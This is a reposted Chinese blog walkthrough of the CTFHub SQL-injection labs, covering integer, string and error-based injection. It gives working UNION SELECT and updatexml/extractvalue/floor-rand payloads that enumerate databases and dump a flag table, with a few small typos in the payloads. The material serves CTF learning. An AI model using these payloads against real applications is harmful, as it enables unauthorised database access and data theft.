CTFHub(web SQL注入)

news2024/9/24 7:19:53

CTFHub技能树 Web-SQL注入 详解_666c6167-CSDN博客

Ctfhub - web -- SQL注入_ctfhub sql注入-CSDN博客

整数型注入

方法一

根据提示输入1,

闭合方式就是 1 ,整数型

存在两列,这里已经给出了字段,不需要再order by了

爆出数据库名和版本。

-1 union select version(),database()

有information_schema,发现是高版本

查库名

-1 union select 1, group_concat(table_name) from information_schema.tables where table_schema='sqli'

查flag下的字段名

-1 union select 1, group_concat(column_name) from  information_schema.columns where table_schema='sqli' and table_name='flag'#

拿数据

-1 union select 1, group_concat(flag) from flag


方法二

ctfhub技能树web--sql注入_ctfhub技能树报错注入-CSDN博客

1.判断注入点

用1 and 1=1和1 and 1=2进行测试

SELECT * FROM uers WHERE id=1 and 1=1 LIMIT 1,0;

SELECT * FROM uers WHERE id=1 and 1=2 LIMIT 1,0;

页面回显不一样,则证明该注入点存在sql injection漏洞

2.判断列数

使用order by语句进行测试:1 order by 1、1 order by 2等,直到报错为止,报错的前一个数,为字段数。

判断列数的原因:
要使用联合查询注入获取数据库的敏感数据库,前提是两个结果集合的列数相同,所以要判断...?id=1这个语句在数据库中返回几列,也就是SELECT * FROM uers WHERE id=1 and 1=2 LIMIT 1,0这个语句的数据结果集有几列,然后才可以用union进行联合查询

SELECT * FROM uers WHERE id=1 order by 1 LIMIT 1,0;

SELECT * FROM uers WHERE id=1 order by 2 LIMIT 1,0;

以下为构造poc(轮子)过程
注意:要让union前一个语句不成立才能让union后的select语句的结果在前端显示出来

3.判断哪一列是报错点

(哪一列会在前端显示的数据)

输入1 and 1=2 union select 1,2 (或者-1 union select 1,2)

扩展:
(1)可以用以下数据库函数获取相应的信息
* user() 当前用户名
* database() 当前数据库明
* version() 当前版本
(2)可以用concat()或concat_ws()或group_concat()—[见数据库连接语句]----使得在sql注入时快速获得数据库的相关信息

4.从当前数据库(默认)获取当前数据库名、用户名等信息

数据库

1 and 1=2 union select 1,concat-ws('>',database(),version(),user())

5.从元数据库查出当前数据库的所有表名

1 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()

6.从元数据库查出当前数据库下的某个表下的所有列名

1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'

7.从当前数据库下的某个表中的查某一列的信息

1 and 1=1 union select 1,concat_ws('>',flag) from flag

字符型注入

CTFHub (web-SQL-字符型注入)_ctfhub字符型-CSDN博客


判断注入类型

根据提示,输入数字1

返回可以看到‘1’被双引号包围,这里可以借助注释符#或- -空格或/**/

使用#将后面的单引号注释掉

1'#

判断列数

1' order by 1 , 2 # 

1' order by 1 , 2 , 3 #

在第三列发现无法显示,说明只有两列

判断注入点

显示位,判断显示的信息是第几列的信息

-1' union select 1 , 2#

1为ID,2为Data,(Data也就是我们想要查询的数据)

查询数据库信息

1.查询用户

-1' union select 1 , user() #

2.查询数据库版本

-1' union select 1 , version() #

3.查询数据库名称

-1' union select 1 , database() #
  

爆库

查询所有数据库名称

1.使用limit一条一条查询数据库名称

第四条

-1' union select 1 , (select schema_name from information_schema.schemata limit 3,1) #

第五条

-1' union select 1 , (select schema_name from information_schema.schemata limit 4,1) #

查询第五条时发现已经没有数据,说明一共有四个数据库名

2.使用group_concat()一次性查询全部数据库名称

-1' union select 1,group_concat(schema_name) from information_schema.schemata #

爆表

查询数据库中的表名

1.用limit一条条爆出表名

-1' union select 1 , (select table_name from information_schema.tables where table_schema='sqli' limit 0,1) #

-1' union select 1 , (select table_name from information_schema.tables where table_schema='sqli' limit 1,1) #

-1' union select 1 , (select table_name from information_schema.tables where table_schema='sqli' limit 2,1) #

2.使用group_concat()一次性爆出所有表名

(1)

-1' union select table_schema, group_concat(table_name) from information_schema.tables where table_schema='sqli' #

(2)

-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

爆字段名

查询指定数据库中指定表的字段名

1.用limit一列一列爆出字段名

(1)

-1' union select 1 , (select column_name from information_schema.columns where table_schema='sqli' and table_name='flag' limit 0,1) #

(2)

-1' union select 1 , (select column_name from information_schema.columns where table_schema='sqli' and table_name='flag' limit 1,1) #

2.使用group_concat()一次性爆出所有字段名

-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='flag'#

爆内容

查询指定数据库中指定表的字段名的内容

1.用limit一列一列爆出字段名中的内容

-1' union select 1,(select flag from flag) #

2.使用group_concat()一次性爆出所有字段名中的内容

-1' union select 1 , group_concat(flag) from flag #

报错注入

CTFHUB——SQL 报错注入三种方法全解_ctfhub报错注入-CSDN博客

CTFHUB-SQL注入-报错注入-CSDN博客

方法一

selcet

输入1

返回查询正确

输入1'

报错,进行报错输入

使用函数是updatemxl(1,2,3)

MySQL提供了一个 updatexml() 函数,当第二个参数包含特殊符号时会报错,并将第二个参数的内容显示在报错信息中。,特殊符号我们选择 ~ 0x7e

查询库名

1 and updatexml(1,concat(0x7e,database()),3)

发现库名 sqli,对表名进行爆破

1 and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='sqli')),3)

爆破出表名,对字段进行爆破

1 and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='sqli'and table_name='flag')),3)

得到字段flag,进行查询

1 and updatexml(1,concat(0x7e,(select group_concat(flag)from sqli.flag)),3)

得到flag

方法二

利用extractvalue来xpath报错

1 and (select extractvalue(1, concat(0x7e, (select database()))))

1 and (select extractvalue(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema= 'sqli'))))

1 and (select extractvalue(1, concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_name= 'flag'))))

1 and (select extractvalue(1, concat(0x7e, (select flag from flag))))

得到后的flag缺少了一个“}”

补全后即可提交

方法三

利用floor来group by主键重复报错

1 union select count(*), concat((select database()), floor(rand(0)*2)) x from news group by x

1 union select count(*), concat((select table_name from information_schema.tables where table_schema='sqli' limit 1,1), floor(rand(0)*2)) x from news group by x

1 union select count(*), concat((select column_name from information_schema.columns where table_name='flag' limit 0,1), floor(rand(0)*2)) x from news group by x

1 union select count(*), concat((select flag from flag limit 0,1), floor(rand(0)*2)) x from news group by x

得到flag

得到后的flag缺少了一个“}”

补全后即可提交

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1606689.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

彻底解决:IDEA java: 警告: 源发行版 17 需要目标发行版 17

一、出现的原因 JDK版本不匹配 二、解决方法 1.点击File -->Project Structure-->Project 修改这两处 2.在Project Structure-->Modules中的红框位置都要调整对应版本 3.点击File-->settings-->java compile将对应框的版本修改成对应版本即可 4.修改Pom文件中…

Docker容器嵌入式开发:在Ubuntu上配置RStudio与R语言、可视化操作

目录 一、dirmngr工具二、R环境安装与配置三、验证是否安装成功四、安装Rstudio五、可视化操作参考 以上是在Ubuntu 18.04上安装最新版本的R语言环境的步骤摘要。首先,通过添加CRAN镜像源并安装GPG密钥来配置软件源。然后,更新软件包列表并通过apt安装R语…

《Kubernetes部署篇:基于Kylin V10+ARM架构CPU+外部etcd使用containerd部署K8S 1.26.15容器版集群(多主多从)》

总结:整理不易,如果对你有帮助,可否点赞关注一下? 更多详细内容请参考:企业级K8s集群运维实战 1、在当前实验环境中安装K8S1.25.14版本,出现了一个问题,就是在pod中访问百度网站,大…

通过修改注册表,允许Windows电脑使用USB

在Windows操作系统中,如果您需要通过修改注册表来启用或允许USB存储设备的读写权限,通常涉及到更改与USB存储类驱动相关的服务启动类型。下面是大致步骤: 启用USB存储设备: 打开注册表编辑器(按 Win R 键,…

Mac中隐私安全性设置-打开任何来源

文章目录 **Mac中隐私安全性设置-打开任何来源**一、目的二、打开方式 Mac中隐私安全性设置-打开任何来源 一、目的 从外部下载的软件频繁打不开,需要从隐私安全性中重新选择一下;默认Mac隐藏了任何来源 二、打开方式 打开终端,输入一下命…

LabVIEW卡尔曼滤波技术

LabVIEW卡尔曼滤波技术 在现代航空导航中,高精度和快速响应的方位解算对于航空安全至关重要。通过LabVIEW平台实现一种卡尔曼滤波方位解算修正技术,以改善传统导航设备在方位解算中的噪声干扰问题,从而提高其解算精度和效率。通过LabVIEW的强…

广告智能投放工具oCPM 计费方式演进

广告计费方式概览 在互联网发展的二十年里,互联网广告的计费方式从 CPT(时间)开始,总共发生了三次较大的迭代进化,大致分为 CPM(曝光)、CPC(点击)和 oCPM(目…

工作流JBPM操作API删除流程部署流程

文章目录 8.3 删除流程定义8.3.1 按照id删除(有关联信息会抛异常)8.3.2 按照id删除(会删除关联信息)8.3.3 按照key删除 8.4 获取部署时的文件资源8.4.1 获取部署时的文件资源方式18.4.2 获取部署时的文件资源方式2 8.3 删除流程定义 删除流程定义可以按照id和key删除。 8.3.1…

#LLM入门|RAG#3.5_基于文档的问答

大语言模型(LLM)构建的问答系统,通过整合用户文档,提供个性化和专业化回答。系统可检索内部文档或产品说明书,结合语言模型生成精准答案。 这种方法让语言模型利用外部文档专业信息,显著提升回答的质量和适…

计算机系统基础知识总结

一、计算机系统概述 计算系统可以分为硬件和软件两部分。硬件主要有中央处理器、存储器、输入和输出设备组成;软件由系统软件和应用软件组成。 冯诺依曼计算机体系:将硬件划分为:输入、输出、运算器、存储器、控制器五部分。 中央处理器&…

【计算机毕业设计】学习平台功能介绍——后附源码

🎉**欢迎来到我的技术世界!**🎉 📘 博主小档案: 一名来自世界500强的资深程序媛,毕业于国内知名985高校。 🔧 技术专长: 在深度学习任务中展现出卓越的能力,包括但不限于…

工作流JBPM操作API办理任务流程变量

文章目录 8.7 办理任务8.7.1 办理个人任务8.7.2 办理个人组任务 8.8 驳回任务8.9 流程变量8.9.2 设置流程变量8.9.3 获取流程变量 8.7 办理任务 8.7.1 办理个人任务 办理前数据表中: 办理任务: // 办理个人任务 Test public void comPeletePersonTas…

荣誉 | 人大金仓获评轨交行业“智慧运维优秀应用案例”

4月12日至13日,2024(第八届)中国城市轨道交通智慧运维大会在成都顺利举行。会上,人大金仓以其在轨交行业的卓越贡献和创新实践,获评“智慧运维优秀应用案例”。公司副总裁梁红凤出席大会并发表了题为“打造世界一流的数…

K8s: 关于Kubernetes中的Pod的创建,实现原理,Job调度pod以及pod网络

Pod 概述 Pod 是最小部署的单元,Pod里面是由一个或多个容器组成,也就是一组容器的集合一个pod中的容器是共享网络命名空间,每个Pod包含一个或多个紧密相关的用户业务容器Pod 是 k8s 系统中可以创建和管理的最小单元是资源对象模型中由用户创…

[开发日志系列]PDF图书在线系统20240415

20240414 Step1: 创建基础vueelment项目框架[耗时: 1h25min(8:45-10:10)] 检查node > 升级至最新 (考虑到时间问题,没有使用npm命令行执行,而是觉得删除重新下载最新版本) > > 配置vue3框架 ​ 取名:Online PDF Book System 遇到的报错: 第一报错: npm ERR! …

Visual Studio调试C/C++指南

1. 前言 Visual Studio(VS)是微软开发的一款集成开发环境(IDE)软件,支持C/C、C#、VB、Python等开发语言,开发桌面、Web等应用程序。VS功能极其强大,使用极其便利,用户数量最多,被誉为"宇宙…

Python进阶编程 --- 3.闭包、装饰器、设计模式、多线程、网络编程、正则表达式、递归

文章目录 第三章:3.1 闭包3.2 装饰器语法糖写法 3.3 设计模式3.3.1 单例模式3.3.2 工厂模式 3.4 多线程3.4.1 进程、线程和并行执行3.4.2 多线程编程 3.5 网络编程3.5.1 Socket3.5.2 服务端开发3.5.3 客户端开发 3.6 正则表达式3.6.1 基础匹配3.6.2 元字符匹配单字符…

DevOps(八)Jenkins的Maven和Git插件

一、Maven简介 Maven是一个构建生命周期管理和理解工具,用于Java项目。它提供了标准化的构建流程,并简化了从项目编译到文档生成等各种构建方面的管理。 Maven是由Apache软件基金会开发和维护的一个流行的项目管理工具。它的设计目的是简化Java项目的构…

基于深度学习的光场超分辨率算法综述

摘要:光场图像分辨率低的原因之一是光场空间分辨率和角度分辨率之间存在相互制约。光场超分辨率技术旨在从低分辨率光场图像中重建出高分辨率光场图像。基于深度学习的光场超分辨率方法通过学习高、低分辨率光场图像之间的映射关系来提升图像的质量,突破…

三级等保安全解决方案——实施方案

实施方案设计 本方案将依照国家有关信息安全建设的一系列法规和政策,为电台建立体系完整、安全功能强健、系统性能优良的网络安全系统。以“统一规划、重点明确、合理建设、逐步强化”为基本指导原则。根据电台网络系统不同信息的重要性调整保护策略,不欠…